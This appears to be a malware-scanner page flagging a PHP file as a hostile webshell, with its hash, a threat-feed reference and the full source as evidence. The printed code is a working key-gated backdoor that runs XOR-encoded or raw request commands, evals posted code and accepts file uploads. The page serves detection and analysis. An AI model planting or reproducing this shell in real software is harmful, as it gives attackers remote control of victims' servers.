Hostile 100% php Download

alternate.php

PHP request command shell accepts uploadsPHP request-to-command webshell pattern
SHA-2569a0e18ab1de497f9ca92f89682f05fb828b7c5d379066b0e8ea82143f8e427cb

Also flagged by https://falhumaid.github.io/DFIR_Radar_RSS/rss.xml (Check Point warns of zero-day flaw exploited for root access).

Evidence

$_REQUEST reaches passthru/popen/proc_open lines 1–20
1<?php
2$k = 'zz2026';
3if (!isset($_GET['key']) || $_GET['key'] !== $k) {
4 http_response_code(404);
5 exit;
6}
7if (isset($_POST['xb'])) {
8 $x = base64_decode($_POST['xb']);
9 $c = '';
10 for ($i = 0; $i < strlen($x); $i++) { $c .= chr(ord($x[$i]) ^ ord($k[$i % strlen($k)])); }
11 passthru($c);
12} elseif (isset($_REQUEST["run"])) {
13 passthru($_REQUEST["run"]);
14} elseif (isset($_POST['c'])) {
15 eval($_POST['c']);
16} elseif (isset($_FILES['f']) && $_FILES['f']['error'] === UPLOAD_ERR_OK) {
17 if (move_uploaded_file($_FILES['f']['tmp_name'], '/srv/files/new.bin')) {
18 echo 'UPOK';
19 }
20}

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.